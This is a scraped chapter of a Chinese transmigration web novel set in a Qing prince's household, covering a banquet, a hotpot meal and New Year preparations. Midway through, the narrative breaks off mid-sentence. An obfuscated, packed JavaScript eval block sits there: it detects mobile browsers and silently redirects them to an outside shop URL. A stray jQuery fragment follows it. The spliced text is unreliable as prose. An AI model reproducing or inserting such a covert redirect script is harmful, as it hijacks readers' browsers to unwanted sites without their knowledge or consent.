文趣网 > 其他小说 > 在四爷府里的吃吃喝喝日常(清穿) > 26. 吃瓜的第二十六天
    腊月十八,是府里小阿哥的满月宴。

    小阿哥的生母李格格早几日便出了月子,府里一早便悬灯结彩。

    外面的钟声敲响了九下,婧意换了喜庆一点的衣服出门,这次满月宴是在前院正厅举办,吃席也在那边。

    木香小院有点偏,穿过回廊到了主道才看到树上挂着的红绸彩带。

    屋檐下红灯笼也极为亮眼,一排又一排,看得出来府里对小阿哥的满月宴还是很重视。

    今儿个后宅通往前院看守人员换成了嬷嬷。

    婧意一个都不认识,穿过门后被人引着入座,她这一桌坐着宋格格和武格格,其他就不知道了,因为座位空着,人还没到齐。

    桌上摆满了各种饽饽和干果,饽饽上点了红,看着极为喜庆。

    和桌上其他人相互行礼后,婧意便不开口说话了,随手拿了个橘子剥了塞一瓣进嘴,嘶,酸死她了。

    她连忙给自己灌了一口茶,然后竖着耳朵听其他人聊天。

    “爷可真疼小阿哥,听说给了河北一个两千亩的庄子……”

    婧意差点被呛住,多少?

    两千亩?

    这位爷出手也忒大方了,不是都说他小气刻薄寡恩吗?

    “是给李格格的赏赐,这些年爷赏赐了不少,宫里娘娘也多有赏赐。”

    “听说三阿哥出生那会儿给的更多,皇贵妃赏了一套别墅,如今已经涨到这个价。”

    这话语里酸意含量超标,这会儿婧意才知道这些人都去蘅芜院看过李格格和小阿哥了。

    冬日寒冷,小阿哥就不抱出来了,就她们这些人凑在一起吃个饭。

    等过些日子爷和福晋要去宫中,想见都很难了。

    婧意听了不少,原来往年四爷和福晋都不是在府里过年,都是进宫里应酬。

    从年三十到元宵节,不仅宫宴多,还得应酬宫外的宴请。

    不一会儿,就有人来传,福晋贝勒爷和李格格到了。

    厅内一下子安静起来,婧意放下茶杯就看到四爷从外面走进来。

    福晋慢他半步,还有一个陌生的年轻妇人慢两人一步。

    这应该就是李格格了,李格格个子不高,脸很圆,或许是刚出月子,腰腹还是富态的,此时神情是带着高傲的笑容。

    四爷和福晋坐在最上首那桌。

    李格格笑着还未入座,福晋先开口道:“李格格劳苦功高,坐这桌。”

    四爷看了眼福晋,微微颔首。

    李格格欣喜地入座。

    婧意扫了一圈,除了瓜尔佳格格外,后院人都到齐了。

    瓜尔佳氏最近孕吐,什么都吃不下,她院子里人都急死了,如今府里谁不知道?

    瓜尔佳氏没来,也在预料之中。

    其他人都没说话,厅内安静的有些不正常。

    丫鬟们陆陆续续上菜,只是没人动筷子。

    直到四爷开口,先说了一番场面话,敬了宫里,然后表扬了福晋,提及李格格时只说了一句“辛苦”,再次重申了规矩,最后对小阿哥寄托期许。

    酒过三巡后,气氛稍显轻松,四爷又说了一些家常话,给了李格格赏赐后,才起身离场。

    那些赏赐,只是念一遍,就让人忍不住心生嫉妒。

    福晋吩咐李格格照顾好小阿哥,又顺口关心了她几句,最后让她莫要太过劳累、早点休息,随后便跟着离去。

    两位顶头上司一走,宴上气氛立刻不一样了。

    李格格也没有多待,风光无限地听了几人吹捧后便春风得意地离开。

    婧意咬着筷子,然后看着其他人陆陆续续退场,她眨巴了下眼睛,这么快就结束了吗?

    桌上的菜都没动几筷子。

    ……

    回到院子里,婧意第一时间冲进里间拿了银子,“去,给我点暖锅!”

    火锅早就有了,京城还有连锁火锅店,冬日里上到王公贵族下到平民百姓都离不开这一口。

    婧意在家时就吃过几回,也知道这会儿火锅叫暖锅。

    挽棠接过银子,好奇地问,“怎么,是宴席上菜不好吃?”

    跟着一块去的采薇看了一眼自家格格,微微摇头道:“主子没吃。”

    挽棠虽然好奇宴上发生了什么,可还是得顾着主子的身体,忙招呼宁鸽去膳房点菜。

    “主子爱吃羊肉火锅,不是有宁夏过来的羊吗?要两盘子肉片,还有各种丸子,粉条,蔬菜都上一些。”

    交待完后,她又补充了一句,“要辣锅,最近主子总说菜没味儿,多加些辣子,麻椒少放些。”

    宁鸽听了,赶紧去了。

    挽棠又回屋里看格格,自家格格正在换衣服,她上前帮忙,顺口说了一件事。

    “格格,苏格格又送来一封信。”

    婧意脱掉厚袄子,“不是退回去了吗?”

    上回信里,苏格格说了很多,一上来就哭诉她那夜回屋后出来看见外面有那么多人,是多么害怕、恐慌,她被吓坏了才没出去,是她对不起她,还在信里不断向她道歉。

    她没说什么,只让人将信退了回去。

    信退回,是个人都该知道她什么意思,没想到苏格格不死心,又来信了。

    她这回没接,“刚才宴席上苏格格也在,有什么可以当面和我说,写这些做什么,送回去吧。”

    挽棠说了“是。”

    其实她知道苏格格为何给自己家格格送信,府里下人消息灵通着呢。

    苏格格进府这么久,至今未能圆房。

    她现在能抓住的便只有自家格格这根线了,只是早干嘛去了,非得把人得罪了才想起求人。

    婧意换了一身轻便的衣服,外边已经开始摆菜了,她要的那些都简单,都不需要膳房的厨子动手,打下手的徒子徒孙就能办到。

    再说今日准备了宴席,那些菜都备着,这会儿装好了就能送过来。

    汤底是熬好的,奶白的羊汤加了火锅底料,一进隔间就闻到火锅独有的香味。

    婧意坐下先喝了一口羊汤暖暖胃,才开始涮肉吃。

    她吃饭时喜欢刷视频——或者说,现代人几乎没有谁能离开手机。

    没有手机的日子,就跟戒那啥一样,坐立不安,患得患失、挠心挠肺、焦虑暴躁。

    婧意知道自己戒不掉这精神鸦片,所以才那么积极吃瓜。

    好在这系统提供的功能跟手机也没区别,她的时卡是少,但不妨碍她下载视频后离线观看。

    不然就靠她那点时卡,早断网了。

    “对了,瓜尔佳格格最近孕吐还厉害吗?”

    婧意吃到大半后想起来问。

    瓜尔佳格格这几天孕吐得厉害,听说她母亲都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658941|206382||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被请进府照顾。

    只是看样子效果并不好。

    挽棠帮着涮了豆芽,顺口道:“瓜尔佳格格想吃广西的一种粉,说是馋得不行,府里找了几个广西的厨子,都说没听过。”

    婧意咬了一口黄豆芽,脆生生的豆芽进嘴里,还带着羊汤的麻香,吸了吸鼻子,她问,“什么粉?”

    “好像是一种米粉,膳房的白案厨子忙了好些天,听说都不对味。”

    婧意心想,总不能是想吃螺蛳粉吧?

    嘶,说到螺蛳粉她也有些馋了,不提还行,一提还真想念那个味儿。

    “行,你们撤下去也用点。”

    吃得差不多了,她看桌上还剩下不少生菜,让挽棠她们撤下去。

    窗户被打开通风,换掉屋里的火锅味,她在屋里走动顺便消食。

    顺便算了一下,那位爷多久没来了。

    好像自那次走后就没来这了,今天宴席上都没有看她。

    “难道说我失宠了?”

    走了几步,她后知后觉道。

    这日子过得太美了,不是吃就是上网睡觉,唯一的工作是早上请安。

    这几天临近新年,福晋那边忙得不行,请安的日子也暂时免了。

    这样算来她这小日子过得好像还不错?

    对了,作为一名合格的妾室,她是不是该邀宠?

    不对,这位爷可不只是不来她院子,而是不来后院了,这些天都是住在前院。

    她心安理得地打了哈欠。

    “可能是公务缠身吧。”

    越是临近过年就越忙,从古到今好像都没怎么变过。

    不想了,先睡个午觉吧。

    ……

    新年来得很快,转眼府里忙碌着贴对联。

    一早,关果儿就提着一卷对联和福字过来。

    “这是分给咱们院的,奴才还要了些面粉,待会儿熬了浆糊,咱们给贴上。”

    府里太大了,是个门窗都得贴,这对联就得提前一两天贴了。

    宁鸽接了泛黄的面粉去熬浆糊了,采薇和挽棠凑到门口看热闹。

    婧意正看对联呢,还有几张福字。

    “这对联谁写的?”

    关果儿在桌上铺平后回道,“是府上的清客,进了腊月就准备了,写了好多天。”

    婧意解了心中的疑惑,她还以为是四爷写的。

    “这个福字,我来贴。”

    关果儿看她抽出的那张,立刻笑了,“格格,您眼光真好,那是爷的墨宝。”

    “今年爷只写了十张福字,分了正院四张,李格格和瓜尔佳格格各分两张,您和宋格格各一张。”

    呦,这水端的真够平的。

    这么说她在那位爷心里还是有点分量,算了,她进府里也就一个月,比不上别人也算正常。

    “我来贴,我要贴在寝室的窗户上。”

    这可是四大爷的亲笔,放在后世可以算文物了,嘿嘿,那不得上网分享一下。

    浆糊熬好了,大家趁热热热闹闹地将对联贴了。

    刚贴好,张嬷嬷就从外面进来了,还带了五六个人搬了不少东西。

    “格格,这是贝勒爷给您发的赏赐。”

    入目的有一盘银元宝、广柑、荷包、几匹绸缎。

    婧意眼睛亮起来了,府里还有新年福利?